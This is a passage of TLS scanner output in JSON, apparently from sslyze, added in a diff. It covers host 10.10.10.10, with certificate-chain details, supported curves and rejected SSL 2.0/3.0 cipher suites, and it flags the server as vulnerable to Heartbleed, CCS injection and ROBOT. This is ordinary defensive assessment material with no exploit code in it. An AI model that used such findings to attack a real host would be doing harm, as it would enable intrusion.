dHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", + "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", + "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2023-03-08T12:00:00", + "not_valid_before": "2013-03-08T12:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 + }, + "serial_number": 2646203786665923649276728595390119057, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.11", + "name": "sha256WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 32, + "name": "sha256" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", + "value": "DigiCert SHA2 Secure Server CA" + } + ], + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" + }, + "subject_alternative_name": { + "dns": [] + } + }, + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\nCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\nnh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\nT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\ngdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\nBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\nTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\nDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\nhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\nPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", + "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", + "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2031-11-10T00:00:00", + "not_valid_before": "2006-11-10T00:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 + }, + "serial_number": 10944719598952040374951832963794454346, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.5", + "name": "sha1WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 20, + "name": "sha1" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.11", + "name": "organizationalUnitName" + }, + "rfc4514_string": "OU=www.digicert.com", + "value": "www.digicert.com" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert Global Root CA", + "value": "DigiCert Global Root CA" + } + ], + "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" + }, + "subject_alternative_name": { + "dns": [] + } + } + ], + "verified_chain_has_legacy_symantec_anchor": false, + "verified_chain_has_sha1_signature": false + } + ], + "hostname_used_for_server_name_indication": "10.10.10.10" + }, + "status": "COMPLETED" + }, + "elliptic_curves": { + "error_reason": null, + "error_trace": null, + "result": { + "rejected_curves": [ + { + "name": "X25519", + "openssl_nid": 1034 + }, + { + "name": "X448", + "openssl_nid": 1035 + }, + { + "name": "prime192v1", + "openssl_nid": 409 + }, + { + "name": "secp160k1", + "openssl_nid": 708 + }, + { + "name": "secp160r1", + "openssl_nid": 709 + }, + { + "name": "secp160r2", + "openssl_nid": 710 + }, + { + "name": "secp192k1", + "openssl_nid": 711 + }, + { + "name": "secp224k1", + "openssl_nid": 712 + }, + { + "name": "secp224r1", + "openssl_nid": 713 + }, + { + "name": "secp256k1", + "openssl_nid": 714 + }, + { + "name": "sect163k1", + "openssl_nid": 721 + }, + { + "name": "sect163r1", + "openssl_nid": 722 + }, + { + "name": "sect163r2", + "openssl_nid": 723 + }, + { + "name": "sect193r1", + "openssl_nid": 724 + }, + { + "name": "sect193r2", + "openssl_nid": 725 + }, + { + "name": "sect233k1", + "openssl_nid": 726 + }, + { + "name": "sect233r1", + "openssl_nid": 727 + }, + { + "name": "sect239k1", + "openssl_nid": 728 + }, + { + "name": "sect283k1", + "openssl_nid": 729 + }, + { + "name": "sect283r1", + "openssl_nid": 730 + }, + { + "name": "sect409k1", + "openssl_nid": 731 + }, + { + "name": "sect409r1", + "openssl_nid": 732 + }, + { + "name": "sect571k1", + "openssl_nid": 733 + }, + { + "name": "sect571r1", + "openssl_nid": 734 + } + ], + "supported_curves": [ + { + "name": "prime256v1", + "openssl_nid": 415 + }, + { + "name": "secp384r1", + "openssl_nid": 715 + }, + { + "name": "secp521r1", + "openssl_nid": 716 + } + ], + "supports_ecdh_key_exchange": true + }, + "status": "COMPLETED" + }, + "heartbleed": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_heartbleed": true + }, + "status": "COMPLETED" + }, + "http_headers": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "openssl_ccs_injection": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_ccs_injection": true + }, + "status": "COMPLETED" + }, + "robot": { + "error_reason": null, + "error_trace": null, + "result": { + "robot_result": "VULNERABLE_STRONG_ORACLE" + }, + "status": "COMPLETED" + }, + "session_renegotiation": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_client_renegotiation_dos": false, + "supports_secure_renegotiation": true + }, + "status": "COMPLETED" + }, + "session_resumption": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "ssl_2_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC4_128_WITH_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC2_128_CBC_WITH_MD5", + "openssl_name": "RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_IDEA_128_CBC_WITH_MD5", + "openssl_name": "IDEA-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "SSL_CK_DES_64_CBC_WITH_MD5", + "openssl_name": "DES-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", + "openssl_name": "DES-CBC3-MD5" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "SSL_2_0" + }, + "status": "COMPLETED" + }, + "ssl_3_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": 